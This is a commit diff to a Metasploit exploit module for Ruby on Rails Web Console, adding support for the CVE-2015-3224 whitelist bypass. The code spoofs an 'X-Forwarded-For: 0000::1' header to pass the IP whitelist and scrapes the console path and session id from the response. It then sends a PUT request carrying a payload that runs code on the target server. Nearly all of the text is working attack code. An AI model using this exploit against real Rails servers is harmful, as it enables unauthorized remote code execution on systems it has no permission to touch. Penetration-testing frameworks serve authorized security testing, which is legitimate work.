Land #6865, Add CVE-2015-3224 support to rails_web_console_v2_code_exec

modules/exploits/multi/http/rails_web_console_v2_code_exec.rb

@@ -12,24 +12,32 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Ruby on Rails Development Web Console (v2) Code Execution',
+      'Name'           => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution',
       'Description'    => %q{
-          This module exploits a remote code execution feature of the Ruby on Rails
-        framework. This feature is exposed if the config.web_console.whitelisted_ips
-        setting includes untrusted IP ranges and the web-console gem is enabled.
+          This module exploits an IP whitelist bypass vulnerability in the developer
+        web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also
+        achieve code execution on Rails 4.2.x if the attack is launched from a
+        whitelisted IP range.
       },
-      'Author'         => ['hdm'],
+      'Author'         => [
+        'joernchen <joernchen[at]phenoelit.de>', # Discovery & disclosure
+        'Ben Murphy <benmmurphy@gmail.com>',     # Discovery & disclosure
+        'hdm'                                    # Metasploit module
+      ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
-          [ 'URL', 'https://github.com/rails/web-console' ]
+          [ 'CVE', '2015-3224' ],
+          [ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ],
+          [ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ],
+          [ 'URL', 'https://hackerone.com/reports/44513' ]
         ],
       'Platform'       => 'ruby',
       'Arch'           => ARCH_RUBY,
       'Privileged'     => false,
       'Targets'        => [ ['Automatic', {} ] ],
       'DefaultOptions' => { 'PrependFork' => true },
-      'DisclosureDate' => 'May 2 2016',
+      'DisclosureDate' => 'Jun 16 2015',
       'DefaultTarget' => 0))
 
     register_options(
@@ -45,7 +53,10 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     res = send_request_cgi({
       'uri'     => normalize_uri(target_uri.path),
-      'method'  => 'GET'
+      'method'  => 'GET',
+      'headers' => {
+        'X-Forwarded-For' => '0000::1'
+      }
     }, 25)
 
     unless res
@@ -53,29 +64,38 @@ class MetasploitModule < Msf::Exploit::Remote
       return
     end
 
-    unless res.body.to_s =~ /data-mount-point='([^']+)'/
+    web_console_path = nil
+
+    # Support vulnerable Web Console versions
+    if res.body.to_s =~ /data-remote-path='([^']+)'/
+      web_console_path = "/" + $1
+    end
+
+    # Support newer Web Console versions
+    if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
+      web_console_mount = $1
+      unless res.body.to_s =~ /data-session-id='([^']+)'/
+        print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
+        return
+      end
+      web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
+    end
+
+    unless web_console_path
       if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
-        print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
+        print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
       else
-        print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
+        print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
       end
       return
     end
 
-    console_path = normalize_uri($1, 'repl_sessions')
-
-    unless res.body.to_s =~ /data-session-id='([^']+)'/
-      print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
-      return
-    end
-
-    session_id = $1
-
-    print_status("Sending payload to #{console_path}/#{session_id}")
+    print_status("Sending payload to #{web_console_path}")
     res = send_request_cgi({
-      'uri'       => normalize_uri(console_path, session_id),
+      'uri'       => web_console_path,
       'method'    => 'PUT',
       'headers'   => {
+        'X-Forwarded-For'  => '0000::1',
         'Accept'           => 'application/vnd.web-console.v2',
         'X-Requested-With' => 'XMLHttpRequest'
       },